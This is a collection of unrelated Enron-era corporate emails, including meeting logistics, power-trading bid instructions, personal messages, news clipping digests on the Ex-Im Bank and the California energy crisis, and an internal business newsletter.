retail prices ranging from $4 to $15, and our "Plats" range from $10 to $22.50.

No reservations are required, but get here early for the best seating.  Or,
come in around 9 PM for later seating.

See y'all there.

"BEST WINE STORE" Houston Press 2001

A quick update on the "inaugural" Analyst Orientation scheduled for 
Wednesday, July 19th at The Doubletree Hotel.   The room locations have not 
been released and I will advise you when I receive the information.   An 
estimated 73 analysts will be attending the orientation. 

I have received most of your presentations and bios and appreciate your 
attention to the deadline.  However,  I am still pending a few presentations, 
bios and a speaker and I have spoken to you regarding that status.  If you 
have a pending item, please call me at x33597 or forward your presentation 
and/or bio to me by Wednesday, June 28th by 4:00 p.m.   Please keep in the 
mind the PRC meetings and holiday weekend.

We will have the standard audio visual set-up complete with LCD projector, 
laser pointer and flip charts.   If you have any other presentation or audio 
visual requests, please call me at x33597.   

Thank you for your assistance in the matter.   

July 19, 2000

10:30 - 11:00 ENA Overview  Ozzie Pagan

11:00 - 11:30 Trading Activity  Colleen Sullivan & Julie Armstrong

11:30 - 12:00 Trading & Origination Jeff Shankman & Janet Dietrich

1:00 - 1:30 Deal Support  EOPS Speaker & Mark Frank

1:30 - 2:00 Upstream  Brian Redmond

Start Date: 10/12/01; HourAhead hour: 19;  HourAhead schedule download failed. Manual intervention required.

Group,

Due to the recent drop in day-ahead prices, we have a few counterparties who scheduled less than their P-max generation.  Therefore, we need to submit supplemental bids so they will be covered in case the ISO calls on their generation (for the difference between the P-max and their prescheduled generation).

Additionally, if you can make an SC to SC trade with this generation please do.  If you are able to do an SC trade, please make sure it's for at least a 4 hour run.  Make sure you're in contact with the control rooms to let them know what you're doing.  And if you do make an SC to SC trade, don't forget to take out the supplemental bids for those hours.

So, please submit supplemental bids, or sell as an SC to SC trade for Harbor, Delano, Wheelabrator Martel, and Sierra Pacific Industries.

Harbor:
Supps:		80mw, HE1-24, Friday and Saturday, for $140.
SC Trade:	80mw, SP15, Friday and Saturday, above $125.

Delano:
Supps:		15mw, HE1-24, Friday and Saturday, for $40.
SC Trade:	15mw, SP15, Friday and Saturday, above $40.

Wheelabrator Martel:
Supps:		6mw, HE1-24, Friday and Saturday, for $60.
SC Trade:	6mw, NP15, Friday and Saturday, above $50.

Sierra Pacific Industries:
SC Trade:	30mw, NP15, Friday and Saturday, above $60.

If you have any questions don't hesitate to ask either Chris Foster or myself.

Thanks,
Stan

Thanks.  I'll come by between 4:45 and 5:30.

Susan Pereira

"Boudreaux, Julie" <jkboud@swbell.net> on 05/07/2001 11:24:30 PM
To: Susan.W.Pereira@enron.com
cc:  
Subject: Re: Recognitions

That sounds fine.
Julie?
From:  Susan.W.Pereira@enron.com 
To: jkboud@swbell.net 
Sent: Monday, May 07, 2001 1:26 PM

Julie-

Unfortunately, I will not be able to help you  sort recognitions during the
day on Tuesday -- I can't get off work on that  day.? If you are able to
sort our troop's recognitions (troop 12357)  by Tuesday evening, I would
love to come by and pick them up.? Our  last Brownie meeting is on Wednesday
afternoon, and I wanted to get  everything to our troop leader Wednesday
morning before work.? Let me  know what time would be convenient for me to
come by.? I have a  Southside Place city council meeting to attend at 7 pm
but could come by  before.....

Thanks,

Susan  Pereira

How important is this fight to us now (see attached article on ExIm)?
----- Forwarded by Steven J Kean/NA/Enron on 03/07/2001 10:41 AM -----

	Ann M Schmidt
	03/07/2001 08:19 AM
		 
		 To: Ann M Schmidt/Corp/Enron@ENRON
		 cc: (bcc: Steven J Kean/NA/Enron)
		 Subject: Enron Mentions

Exporters Rush to Ex-Im Bank's Defense --- Lobby Campaign to Prevent Budget 
Cuts Seeks Help Of 100,000 Small Firms
The Wall Street Journal, 03/07/01

Plots & Ploys

Dutch Gas Competition Grows Despite Sluggish Reforms
Dow Jones Energy Service, 03/07/01

USA: Big U.S. exporters to fight Ex-Im Bank cuts - WSJ.
Reuters English News Service, 03/07/01

Major U.S. Exporters Rush to Export-Import Bank's Defense
Dow Jones Business News, 03/07/01

What's News
United States
The Globe and Mail, 03/07/01

Deal with state could take until 2002 to close
Associated Press Newswires, 03/06/01

Sierra Pacific CEO Doubts SEC OK Of Enron Unit Buy-Report
Dow Jones Energy Service, 03/06/01

Many Power Deals Announced by California Governor Still Not Final
Dow Jones Business News, 03/06/01

US Natural Gas Prices Fall As Demand Slips In Most Areas

Economy
By Michael M. Phillips and Laura Heinauer

03/07/2001
A2

WASHINGTON -- Angry and confused that a Republican administration has 
targeted one of their favorite programs for big cuts, America's largest 
exporters are appealing for help from lawmakers. 
Boeing Co., Caterpillar Inc., Enron Corp., Halliburton Co. and others are 
launching an aggressive lobbying campaign on Capitol Hill to protect the 
Export-Import Bank from budget reductions; the White House labels the Ex-Im 
Bank as corporate welfare.
"The administration has fired its shot, and now we're firing ours," said 
Edmund B. Rice, president of the Coalition for Employment Through Exports, an 
industry group that is leading the effort. 
Since they got wind of the proposed cuts a few weeks ago, business lobbyists 
have been trying to rally sympathetic lawmakers. And executives at Boeing, 
Caterpillar and other big companies plan to contact some 100,000 smaller 
suppliers that benefit indirectly from the $12.6 billion of export loans, 
guarantees and insurance that Ex-Im Bank provided in the last fiscal year. 
Those small companies, the executives hope, will create a groundswell of 
support in Congress for the Ex-Im Bank. 
"Companies large and small who have similar interests here are banding 
together to provide an educational effort so people understand the impact of 
this," said Chris Hansen, Boeing senior vice president for government 
relations. 
Corporate lobbyists also have dug up a speech that Vice President Dick 
Cheney, while chief executive of Halliburton, gave in 1997 praising the bank 
and scoffing at those who consider it a giveaway to big business. They plan 
to pass Mr. Cheney's comments to influential members of Congress this week. 
"We'll be circulating them very broadly," Mr. Rice said. 
A spokeswoman for Mr. Cheney had no immediate comment. 
Ex-Im Bank officials aren't talking publicly, avoiding the appearance that 
they are battling the White House to overturn the proposed 25% cut in the 
bank's $865 million operating budget for the current fiscal year, which ends 
Sept. 30. But an Ex-Im official said the topic has come up in conversations 
between key lawmakers and Ex-Im Bank Chairman James A. Harmon, who is soon to 
be succeeded by Mel Sembler, a Bush campaign fund-raiser and a 
shopping-center developer. 
At first, business lobbyists assumed administration budgeteers were just 
looking for savings anywhere they could find it. Before President Bush 
released his spending plan last week, companies appealed to Mitchell Daniels, 
head of the White House budget office, in an attempt to keep the Ex-Im Bank 
cuts out of the final proposal. 
The Ex-Im Bank's corporate clients include some of the country's largest 
political contributors. Boeing, the bank's largest user, received $3.3 
billion of financing last year. The Seattle aerospace company and its 
employees contributed $1.8 million to politicians and parties during the 2000 
election cycle, 61% to Republicans, according to federal election data 
assembled by the Center for Responsive Politics. Caterpillar, a Peoria, Ill., 
maker of engines and heavy equipment that secured seven Ex-Im Bank deals last 
year, and its employees contributed more than $500,000 -- 96% to Republicans. 
Company officials deny they wanted to leverage donations to try to secure 
political support for the Ex-Im Bank. 
Many lobbyists have come to the conclusion that administration officials -- 
those of a libertarian persuasion -- oppose Ex-Im Bank as a form of welfare 
for corporations. Indeed, the White House budget plan criticized the bank's 
operations as unjustified public subsidies for companies. "That makes it a 
much more serious issue," Mr. Rice said. "We're concerned that the 
administration seems to be turning its attention in this direction." 
Barring intervention from Mr. Cheney, business groups now have largely given 
up hope of convincing the White House to back down, planning instead to use 
their muscle to convince Congress to restore the Ex-Im Bank's funding. Bank 
officials and U.S. companies argue that, far from being a subsidy, the bank 
simply allows American companies to compete with European and Japanese firms 
that receive assistance from their own governments. 
"In many markets in Asia and Africa, the bank is absolutely critical to our 
ability to sell American-made products," said Bill Lane, Caterpillar's 
Washington director for governmental affairs. 
--- Corporate Beneficiaries

Top 10 recipients of Ex-Im Bank loans, guarantees and insurance for
fiscal year 2000, as measured by amount of financing, in millions

Boeing $3,335
Bechtel Group $1,075
Distributed Processing Systems $388
Willbros Group $387
United Technologies $334
Raytheon $156
General Electric $150
Halliburton $136
Enron $135
LSI Logic $120

Source: Ex-Im Bank

The Property Report
By Peter Grant

B10

[What's Brewing in the Real Estate Market] 
No Problem, Houston 
CENTURY DEVELOPMENT is about to announce plans to break ground on downtown 
Houston's third major office development in less than three years. In another 
sign of the strength of the city's energy sector, Century is finalizing a 
headquarters deal with Reliant Resources Inc. to take more than two-thirds of 
the project's 850,000 square feet, says Edwin Murphy, a Century senior vice 
president. 
Two other towers also are underway. In 1999, Hines began building a 1.2 
million square-foot tower for Enron Corp. and late last year Crescent Real 
Estate Equities broke ground on a 27-story tower that will be anchored by 
Ernst & Young. These three projects are the first major downtown office 
projects to get underway since 1986. 
The surge is part of a renaissance of downtown Houston, where new sports 
facilities, hotels, apartment buildings and restaurants have been mushrooming 
in recent years. "The new amenities have kept people from leaving and enticed 
people to come back," says Michael Hassler, of CB Richard Ellis. 

By Germana Canzi
Of DOW JONES NEWSWIRES

LONDON -(Dow Jones)- The Netherlands is emerging as an important testing 
ground for E.U. gas liberalization, as new trading hubs for competitive, 
short-term gas supplies from the U.K. and Norway emerge on the Belgian and 
German borders. 
However, much remains to be done. A group of large energy users and traders 
is preparing to confront Gasunie Thursday in a hearing organized by the 
regulator. The main issues of contention are the balancing system, which 
Gasunie conducts on an hourly basis, the extent to which transport tariffs 
are cost-focused and third-party access to storage facilities.
The emergence of competition in the Dutch gas sector is mostly due to the 
initiative of new market entrants who, despite a difficult regulatory 
environment, have managed to develop a market for short-term gas virtually 
from scratch. 
If liquidity improves in these emerging hubs, the Netherlands could become an 
important transit country for freely tradeable gas supplies to other 
countries in northwest Europe, as well as being an important market in its 
own right. However, the difficulty of implementing transparent third-party 
access systems in the Netherlands and in neighboring Germany casts a dark 
cloud over recent progress in competition. 
Since December, Enron Europe Ltd. (U.ENE), Duke Energy Corp. (DUK), E.On AG 
(EON), RWE AG (G.RWE) and Electrabel SA (B.ELE) have been actively buying and 
selling gas, sourced in the U.K., the Netherlands and Norway, in a number of 
hubs between Emden in Germany and Emshaven and Oude Statenzijl in the 
Netherlands. 
David Gallagher, head of European gas trading at Enron in London, estimates 
that at least one trade a day of around 100,000 therms for a quarterly 
contract is done at the Oude Statenzijl hub, where the Gasunie pipeline 
system connects to the network of Wingas GmbH. 
An important element kick-starting short-term trading was the sale, in 
December 2000, of a 2 billion cubic meter a year Norwegian gas supply 
contract to five Dutch-based power generators. 
Robert van der Hoeven, head of fuel procurement at Electrabel, the owner of 
Dutch generator EPON, said his company uses most of the gas it imports from 
Norway for its plants in the Netherlands and trades the rest on a short-term 
basis in the Oude-Emden area. This pattern is common to the other Dutch-based 
parties to that contract. 
Trading in Dutch hubs received a further boost when Nederlandse Gasunie NV 
(N.NEG) decided, after months of wrangling with regulator DTe, to lower its 
transport tariffs by 6.5% from January 2001 and to unbundle its combined 
commodity and service tariff, the so-called CSS system, from July 2001. 
Gasunie now claims its pipeline system is fully open and transparent. To 
prove this, it says it has lost 30% of its customers in the eligible market, 
but that figure hasn't changed much since March 2000. Small wonder that 
critics say the switching figure doesn't necessarily indicate an ideal system 
of third-party access. 
According to energy consultants The Brattle Group, around half of the gas 
used by alternative suppliers goes through the 1 bcm/year Zebra pipeline from 
Zelzate to Zeeland, which was built by Dutch utilities a few years ago 
precisely because Gasunie refused to provide access on favorable terms. 
Shippers have complained that the hourly system used by Gasunie to balance 
the pipeline system raises the overall cost of shipping through its network 
significantly. Gasunie imposes a balancing charge which effectively forces 
shippers to pay for the extra gas brought into the system from storage sites, 
in addition to the capacity and transmission price. Critics say Gasunie has 
so far failed to unbundle these charges, although it agreed to do so in 
January. 
According to the Brattle Group, another controversial aspect of Gasunie's 
tariff system is that it is based on theoretical costs of constructing new 
pipelines rather than its actual costs. 
The DTe is also considering ways of reforming the storage system to make it 
competitive. BP PLC (U.BP) and Nederlandse Aardolie Maatschappij NV operate 
storage facilities and lease capacity to Gasunie through long-term contracts. 
The regulator is studying ways of allowing third parties access to storage 
facilities. Gasunie has so far shown little sign of negotiating more 
competitive tariffs with storage operators and passing on the benefits to 
customers, critics say. 
The growth of short-term trading in the Dutch gas market is also inevitably 
linked to its potential as a transit country for gas coming from the 
U.K.-Belgium gas interconnector and going towards the 82bcm-a-year German 
market. 
Market participants say liquidity at the Emden and Oude hubs has grown 
considerably since E.On and RWE started trading there earlier this year. 
However, the obstructive attitude of incumbents toward third-party access 
there has meant that so far most gas traded in the Netherlands has remained 
there. 
-By Germana Canzi, Dow Jones Newswires; +44 20 7842 9283; 
germana.canzi@dowjones.com

NEW YORK, March 7 (Reuters) - America's largest exporters are launching an 
aggressive lobbying campaign on Capitol Hill to protect the Export-Import 
Bank from budget reductions, the Wall Street Journal reported in its online 
edition on Wednesday. 
The exporters, including Boeing Co. , Caterpillar Inc. , Enron Corp. , 
Halliburton Co. and others, are angry and confused that a Republican 
administration has targeted one of their favourite programmes for big cuts, 
the paper reported.
Ex-Im Bank officials were not talking publicly, avoiding the appearance that 
they are battling the White House to overturn the proposed 25 percent cut in 
the bank's $865 million operating budget for the current fiscal year, which 
ends Sept 30, it said. 
The White House labels the Ex-Im Bank as corporate welfare. 
"The administration has fired its shot, and now we're firing ours," Edmund 
Rice, president of the Coalition for Employment Through Exports, an industry 
group that is leading the effort, was quoted as saying by the paper. 
Executives at Boeing, Caterpillar and other big companies plan to contact 
some 100,000 smaller suppliers who benefit indirectly from the $12.6 billion 
of export loans, guarantees and insurance that Ex-Im Bank provided in the 
last fiscal year, the paper said. 
support in Congress for the Ex-Im Bank, it said. 
New York Newsroom (212) 859-1700.

exporters are appealing for help from lawmakers, Wednesday's Wall Street 
Journal reported. 
Boeing Co. (BA), Caterpillar Inc. (CAT), Enron Corp. (ENE), Halliburton Co. 
(HAL) and others are launching an aggressive lobbying campaign on Capitol 
Hill to protect the Export-Import Bank from budget reductions; the White 
House labels the Ex-Im Bank as corporate welfare.
Copyright (c) 2001 Dow Jones & Company, Inc. 

Report on Business: The Wall Street Journal
Wall Street Journal

The Globe and Mail
Metro
B10
"All material Copyright (c) Bell Globemedia Publishing Inc. and its 
licensors. All rights reserved."

Boeing Co., Caterpillar Inc. and Enron Corp. are among the big U.S. exporters 
Export-Import Bank from budget reductions. The White House labels the Ex-Im 
Bank as corporate welfare. "The administration has fired its shot, and now 
we're firing ours," said Edmund Rice, president of the Coalition for 
Employment Through Exports, an industry group leading the campaign. Since 
they got wind of the proposed cuts a few weeks ago, business lobbyists have 
been trying to rally sympathetic U.S. law makers.

By LESLIE GORNSTEIN
AP Business Writer

03/06/2001

LOS ANGELES (AP) - A tentative deal aimed at rescuing Southern California 
Edison from insolvency might not close in time to prevent the utility from 
begging creditors for more patience, Edison officials said Tuesday. 
The utility's tentative, $2.7 billion agreement to sell its power lines to 
the state could take until 2002 to be consummated, thanks to complicated 
legal issues and other paperwork, an Edison official told bondholders Tuesday.
Once the deal is signed, Edison will try to borrow against the promised cash, 
but Edison International Chief Financial Officer Ted Craver admitted the 
utility might have to ask creditors to simply wait for their money until it 
has the $2.7 billion in hand. 
Energy suppliers owed money by Edison did not immediately return calls for 
comment Tuesday. 
At least four groups of suppliers have sued Edison for millions in unpaid 
bills going back months. Edison and fellow utility Pacific Gas & Electric 
have said they have lost $13 billion on the open power market thanks to 
soaring prices paired with state-imposed price caps. 
PG&E's parent company was able to recently borrow $1 billion to pay its 
stockholders and its debuts. It did not use any of that money to pay PG&E's 
bills. 
Edison's disclosure, meanwhile, shocked state officials. 
Steve Maviglio, spokesman for Gov. Gray Davis, initially declined to comment 
on the status of the Edison deal, but eventually said, regarding its closure, 
"We're optimistic it will be sooner rather than later." 
The pacing would have nothing to do with whether fellow utilities Sempra 
Energy and PG&E also sell their transmission lines to California, Craver 
said. 
Among the things that could delay the deal's closing is Edison's need to find 
landowners on whose property its lines were built to assure no legal 
agreements are being violated by the sale. Edison would also have to pin down 
exactly what it would be selling to the state - terms that might not be 
decided until after a deal has been inked, Craver said. 
"Trust me," Craver said in a phone call after the conference. "There are a 
lot of legal-type documents - stuff that you and I ... would think of as a 
bloody nightmare." 
The disclosure comes at a time when an increasing number of power suppliers 
are suing the utility for millions in unpaid bills. 
Edison also disclosed Tuesday that two more lawsuits had landed in its lap - 
one by a group of wind-powered generators including Enron Wind, the other by 
two suppliers including New York-based Caithness Energy. 
Both suits were filed during the past five days, Edison Assistant General 
Counsel Barbara Reeves said. It was not immediately clear how much the 
complainants were seeking; neither Enron nor Caithness returned calls for 
comment. 
The two filings bring the total number of suits by renewable-energy suppliers 
against Edison to four, the utility said. The city of Long Beach and 
CalEnergy Operating Group, a geothermal supplier, have also sued for back 
payments. 
CalEnergy alone has said it is owed $45 million in November and December 
payments. 
The line sale, part of a multifaceted, tentative deal with the state that 
could save Edison from insolvency, could take anywhere from several months 
into next year, Craver said. 
The tentative deal, announced by Gov. Gray Davis Feb. 23, calls for the state 
to pay more than twice the book value for Edison's lines. 
It also would require Edison to sell cheap power to the state for a decade 
and for Edison to end its lawsuit against state regulators. The suit asserts 
that price caps imposed by the California Public Utilities Commission are 
illegal under federal law. 
Additionally, Edison's parent would have to return $420 million it collected 
from the utility over the past several years. The money was used to pay debt, 
buy back stock and pay dividends to investors. 
SCE, PG&E and Sempra have complained they are near bankruptcy because of 
soaring prices on the open market combined with the state-imposed price caps 
for consumers. 
Sempra and PG&E have yet to announce similar line-sale deals with the state, 
though they and the governor have said negotiations are ongoing. The total 
cost of the 26,000 miles of lines has been estimated at $4.5 billion to $7 
billion.

LOS ANGELES -(Dow Jones)- Sierra Pacific Resources (SRP) CEO Walter Higgins 
said in an interview last week that he doubts the company's $3.1 billion 
acquisition of Enron Corp.'s (ENE) utility Portland General Electric will be 
approved by the federal Securities and Exchange Commission, the Las Vegas Sun 
reported Tuesday. 
The SEC must find that Sierra Pacific is in a strong financial position 
before it will approve the deal, but the company is currently weakened by 
having lost millions of dollars in fuel and purchased power costs, Higgins 
said in the report.
A $311 million rate increase to cover those costs began March 1, but Higgins 
said that money would only pay back those expenses and wouldn't improve the 
company's stability to a level the SEC would find adequate, according to the 
report. 
The Public Utilities Commission can halt the rate hike and order refunds if 
it decides the hike isn't necessary. The PUC is holding hearings to determine 
the prudency of the hike, and members of the state's powerful casino and 
mining industries have filed to intervene. 
Sierra Pacific's plan to shore up its financial position through the sale of 
its 10 power plants, worth nearly $2 billion, may also be in jeopardy. The 
state Senate is considering a bill to block the sales, and Nevada Gov. Kenny 
Guinn recently sent a letter to the PUC asking that it reconsider its order 
allowing electric utilities to sell assets. 
Financial analysts have said that not allowing Sierra Pacific's two utilities 
to sell their assets would have a ripple effect on the company's financial 
position. The asset sales are tied to low-priced power contracts, and if the 
sales are canceled, the low-priced power will be gone as well. 
"If the divestiture is stopped...the state may be dealing with a much bigger 
rate increase," Steve Fleishman, Merrill Lynch utility analyst, told Dow 
Jones Newswires recently. 
Sierra Pacific is the parent company of electric utilities Sierra Pacific 
Power Co. and Nevada Power, which serve customers in the state's North and 
South, respectively. 
-By Jessica Berthold, Dow Jones Newswires; 323-658-3872, 
jessica.berthold@dowjones.com -0- 07/03/01 01-04G

By Jason Leopold

Dow Jones Newswires 
LOS ANGELES -- Many of the long-term power-supply contracts announced by 
California Gov. Gray Davis this week remain under negotiation or are the 
subject of ongoing lawsuits, power suppliers said Tuesday.
The lack of finality to the deals raises questions about the state's success 
in covering its power needs, particularly going into what is expected to be 
an unusually tight summer. 
Generators said privately they were surprised the governor went ahead with 
his announcement Monday, given that many of the contracts haven't been 
signed. 
David Freeman, general manager of the Los Angeles Department of Water and 
Power, who negotiated the contracts on behalf of the state, conceded that 
details remain to be worked out. "This is not a done deal," Mr. Freeman said, 
adding that credit concerns are keeping generators from signing the deals. 
Gov. Davis announced Monday that California has secured 40 long-term 
contracts that will provide California with about 629 million megawatt hours 
of electricity over 10 years, at a price of more than $40 billion. A megawatt 
hour is roughly the amount of electricity needed to power 1,000 homes. 
Several of those forward deals, however, involve contracts originally held by 
Edison International (EIX) unit Southern California Edison and PG&E Corp. 
(PCG) unit Pacific Gas & Electric at the California Power Exchange, 
previously the state's main power market. 
The governor seized those contracts earlier this year, just before the Power 
Exchange liquidated them to cover hundreds of millions of dollars in power 
bills the utilities had failed to pay. 
The contracts, which total about 1.3 million megawatt hours of electricity 
and have a market value of about $1 billion, according to market sources, 
have yet to be paid for or signed over to the state. Duke Energy Corp. (DUK), 
one of the suppliers that sold the contracts to Pacific Gas and SoCal Ed, has 
sued Gov. Davis for unlawfully commandeering those contracts. 
Although Duke has reached an interim settlement to continue providing power 
to the state Department of Water Resources until April 30, the company and 
the Davis administration still have to "develop a comprehensive long-term 
settlement to pay for the power supply contracts," said Duke spokesman Tom 
Williams. 
The governor went ahead with the announcement, because the California 
Department of Water Resources believes it will be able to finalize and sign 
the contracts over the next several weeks, Davis spokesman Steve Maviglio 
said. 
Separately, several suppliers named in the governor's announcement Monday -- 
including Duke, Reliant Energy Inc. (REI), Mirant Corp. (MIR), Sempra Energy, 
Enron Corp. (ENE) and Avista Corp. (AVA) -- said they have yet to sign final 
agreements with the state, although negotiations were ongoing. 
"We are working in good faith with the DWR toward a long-term contract," said 
Art Larson, spokesman for Sempra Energy Resources, a unit of Sempra. Mr. 
Larson said Sempra signed a terms of agreement with the water-resources 
department and expects to reach a final agreement over the next several 
weeks. 
Reliant said it has only signed a short-term contract with the state that 
expires in about two weeks. The company will only sign a long-term contract 
once it's paid more than $400 million owed by Pacific Gas and SoCal Ed, 
spokesman Richard Wheatley said. 
Mirant said it also won't sign contracts with the state until it's paid. 
Enron said it's reached agreement on terms with the state, but has some 
credit-related details to hammer out. "Everything's been agreed to except for 
some credit technicalities," Enron spokesman Mark Palmer said. 
Meanwhile, small, independent power plants in California that are capable of 
generating 1,800 megawatts of power are shut down because their owners 
haven't been paid by the state's two main utilities, the California 
Independent System Operator said Tuesday. 
The decline in small-plant output has contributed to the state's power-supply 
problems the past two months. Partnerships involving El Paso Corp. (EPG), for 
example, shut down 350 megawatts of generation last weekend due to 
nonpayment, the company said Tuesday. 
SoCal Ed hasn't paid the owners of the smaller generators, known as 
"qualifying facilities," since early December, which means the generators are 
still owed for electric production in October, while PG&E has paid only a 
small percentage of its qualifying facility bills since its last full payment 
in early January. 
The plants, one-third of which are powered by renewable sources like wind and 
solar power, meet almost 30% of California's electricity needs. Almost all of 
the closed generators are fueled by natural gas, and many haven't been able 
to pay their gas suppliers and have been cut off from their gas supply. 
The California Senate Energy Committee plans to vote on legislation to create 
a new pricing system for all qualifying facilities this week. The proposed 
bill would cut the prices to qualifying facilities from about 17 cents a 
kilowatt-hour the past eight months to about eight cents, depending on the 
price of five-year natural-gas contracts the generators can sign. The plants 
that run on renewable resources would be paid 5.4 cents a kilowatt-hour. 
-- Mark Golden contributed to this article. 
Write to Jason Leopold at jason.leopold@dowjones.com 
All Rights Reserved

HOUSTON -(Dow Jones)- U.S. natural gas physical prices fell Tuesday as demand 
eased, except in the Northeast and Southeast areas of the country, traders 
said. 
Heavy snowstorms in the upper Northeast supported some pricing, as did cooler 
weather in Georgia, the Carolinas and the Florida panhandle.
Some storage buying occurred in Texas "if they could make it work," a trader 
said. 
"It was a pretty uneventful day," a Gulf Coast trader said late Tuesday. 
Also, because of the snowstorm in the Northeast, traders had purchased gas 
ahead of time to make up for needed load, he said. 
A scheduled work outage on Enron's Transwestern San Juan lateral in New 
Mexico was completed, and the return of a power plant in California 
alleviated demand in the West, traders said. 
At the Arizona-California border hub, buyers paid around $13-$33 a million 
British thermal units, West Coast traders said, down as much as $15 from 
Monday. 
At PG&E Citygate, prices were mixed, with buyers paying $9.75-$10.65/MMBtu, 
down 25 cents on the bid, up 15 cents on the offer. 
In the Midwest, Chicago Citygate prices fell 7 cents-8 cents to a range of 
$5.42-$5.53/MMBtu. Alliance Pipeline into Chicago traded around 
$5.47-$5.52/MMBtu, down 4 cents to 9 cents from Monday. 
The Nymex April natural gas futures contract settled at $5.315/MMBtu, down 
2.1 cents in a tight, range-bound, uneventful session that started late due 
to bad weather. 
Physical gas prices at the benchmark Henry Hub in south Louisiana ended in a 
range of $5.25-$5.30/MMBtu, down 2 cents-6 cents from Monday. 
Transcontinental Gas Pipe Line at Station 65 deals were made in a similar 
range of $5.26-$5.35/MMBtu, down 2 cents on the bid, unchanged on the offer. 
At Katy in East Texas, buyers paid $5.21-$5.30/MMBtu, down 5 cents-6 cents. 
At Waha, prices fell 9 cents-12 cents to a range of $5.15-$5.30/MMBtu. 

Dylan Aherarn
1019 Alice St
Davis, CA 95616
dsahearn@ucdavis.edu

I agree.  The honeymoon will be over begining next season.  I am growing 
weary of teams "tricking" us early in games.  Too me, that translates to 
"outcoached".  Maybe I'm being unreasonable, but they should have the talent 
next year.  We'll see.  You had to love OSU kicking the shit out of the 
domers.  Looks like Erickson has brought the thug factor back into college 
football.

DG

"Brent Wallace" <bwallace@zahrsecurities.com> on 01/02/2001 11:36:23 AM
Please respond to <BWallace@zahrsecurities.com>
To: "Chris Cooper" <chris@savatech.com>, "Darron. C. Giron@enron. com" 
<Darron.C.Giron@enron.com>, "Joe@gallup. com" <Joe@gallup.com>
cc:  
Subject: Pressure

http://espn.go.com/ncf/bowls00/s/fowler_chris.html

Read # 2 under "Predictions for 2001"

This is due today.  Any comments, please let me know asap.  Thanks.

JMB <JBennett@GMSSR.com> on 10/01/99 03:25:18 PM

To:	Mona L Petrochko/SFO/EES@EES
cc:	
	
Subject:	Comments on Asset Valuation Application PD

 <<X04987.DOC>>

Mona -- let me know what you think -- it has to be filed on Monday.

Jeanne

 - X04987.DOC

Sorry about that.  I  should have said Cindy came in first  for  the week,
not Andy, as you can see.   I apologize to both for the mistake

Mike, 

Based on the screen today and current spreads, we may be able to market the 
excess volumes (in the Waha region) at the following levels for 2001:

Jan 4.65
Feb 4.47
Mar 4.26
Apr 4.04
May 3.97
Jun 3.96
Jul 3.96
Aug 3.95
Sep 3.84
Oct 3.96
Nov 4.06
Dec 4.17

Of course, these are only forecasts and are very volatile.  If you need 
anything else, or have any questions, let me know.

Daren

Mike Mazowita@ENRON
10/25/2000 11:36 AM
cc:  
Subject: Cleburne-Tenaska IV Plant

Daren,

I'm trying to put together the 2001 Operating Budget for the plant.  I need a 
conservative forecast, per month, of the price that could be obtained by 
selling our excess volumes. 

Thanks.

Enron Industrial Markets announced the signing of definitive agreements wit=
h=20
Huntco, Inc. under which over a 15-year period Enron will provide inventory=
=20
price risk management services and will eventually provide more than 600,00=
0=20
tons per year of hot-rolled, cold-rolled and galvanized steel products to=
=20
Huntco Steel.  The agreements provide Enron access to Huntco=01,s network o=
f=20
steel distribution centers nationwide.  The agreements also provide for Enr=
on=01,
s acquisition of Huntco=01,s cold rolling and certain coil pickling operati=
ons=20
in Blytheville, Arkansas.

These transactions with Huntco have the potential to fundamentally change t=
he=20
way steel is bought and sold in the United States.  It gives Enron immediat=
e=20
access to physical steel and positions Enron geographically to serve the=20
steel industry in a variety of ways.  In addition to providing physical=20
products on both a spot and term basis, EIM=01,s goals for the steel indust=
ry=20
include developing commodity risk management products, providing structured=
=20
finance products and establishing the market-making capabilities that Enron=
=20
has brought to the natural gas, power and other commodity markets.

Enron North America-Upstream Products
Upstream Products has partnered with Duke Energy Field Services (DEFS) to=
=20
close a 20-year NGL exchange and transportation deal with Formosa=20
Hydrocarbons and Williams Energy Field Services to handle raw make product=
=20
from the Williams Markham plant. Formosa Hydrocarbons is building a 40,000=
=20
BPD fractionator to handle this and other Gulf Coast NGL production.  The=
=20
accompanying pipeline will be known as the Seabreeze pipeline system and wi=
ll=20
be constructed by DEFS. Texas Brine LLC will provide NGL storage services f=
or=20
Formosa Hydrocarbons on this system. Primary production for this system is=
=20
coming from the Boomvang Nansen field in the deepwater GOM and will be the=
=20
first deepwater GOM production to come onshore in Texas.=20
Upstream Products has also worked to arrange a 20-year transportation lease=
=20
agreement on the Dean Pipeline (owned by TEPPCO) for refinery grade propyle=
ne=20
service to be utilized by Formosa Plastics. Coupled with this transaction,=
=20
Enron Clean Fuels has entered into a propylene storage agreement with Formo=
sa=20
Plastics to utilize ECF=01,s Mt. Belvieu storage facilities.  In addition, =
Enron=20
Global Markets has been able to amend its current transportation agreement=
=20
with TEPPCO to prematurely terminate a take-or-pay obligation and realize=
=20
additional transportation revenues from interim NGL production coming from=
=20
the Williams Markham to be delivered to Mt. Belvieu. =20
Upon close, Upstream Products was monetized out of its initial position by=
=20
DEFS and retained a risk-free net profits position on the Seabreeze Pipelin=
e=20
going forward for an additional 20,000-40,000 BPD of excess capacity on the=
=20
system.
ENA West Power
Southwest Power, an ENA affiliate, signed a 222MW 15-year tolling agreement=
=20
with Allegheny Energy Supply for all of the output of Southwest's Las Vegas=
=20
expansion project, scheduled for completion in September, 2002.  With the=
=20
tolling agreement done and construction underway, the project will now be=
=20
marketed to qualified generators.

IN THE NEWS

=01&To truly understand Enron=01,s Jeffrey Skilling =01) the hypersmart,=20
hyperconfident chief executive of what may now be the largest energy tradin=
g=20
company on the planet =01) head to your local video store and check out tha=
t=20
classic American cinema, Wayne=01,s World.  At 15, Skilling helped launch a=
=20
no-budget television station in Aurora, Illinois =01) the very thing that M=
ike=20
Myers and Dana Carvey so famously spoofed on Saturday Night Live and in two=
=20
movies.  The TV skit even begins with a sketch of a teenage cameraman, the=
=20
role of the real-life Skilling.=018 =01)-- Randall Lane, Worth Magazine. Ma=
y 2001.

Calgary, Alberta -- Enron Canada has settled its lawsuit with NGX, Canadian=
=20
Enerdata, OM Gruppen and Richard Zarzeczny, regarding the compilation and=
=20
methodology for calculating the Alberta natural gas price indices published=
=20
by the Canadian Gas Price Reporter.  By the terms of the settlement there=
=20
will be a joint press release issued regarding the settlement, which is to =
be=20
the only public communication regarding the matter unless agreed to by all=
=20
parties. Otherwise the settlement is confidential to the parties. =20
Accordingly, there is to be no formal or informal discussion with media,=20
colleagues, competitors, counterparties or otherwise.

WELCOME
New Hires
EGM  - Salil Pradhan, Randy O=01,Conner, Ricardo Charvel, Greg Fields, Ken=
=20
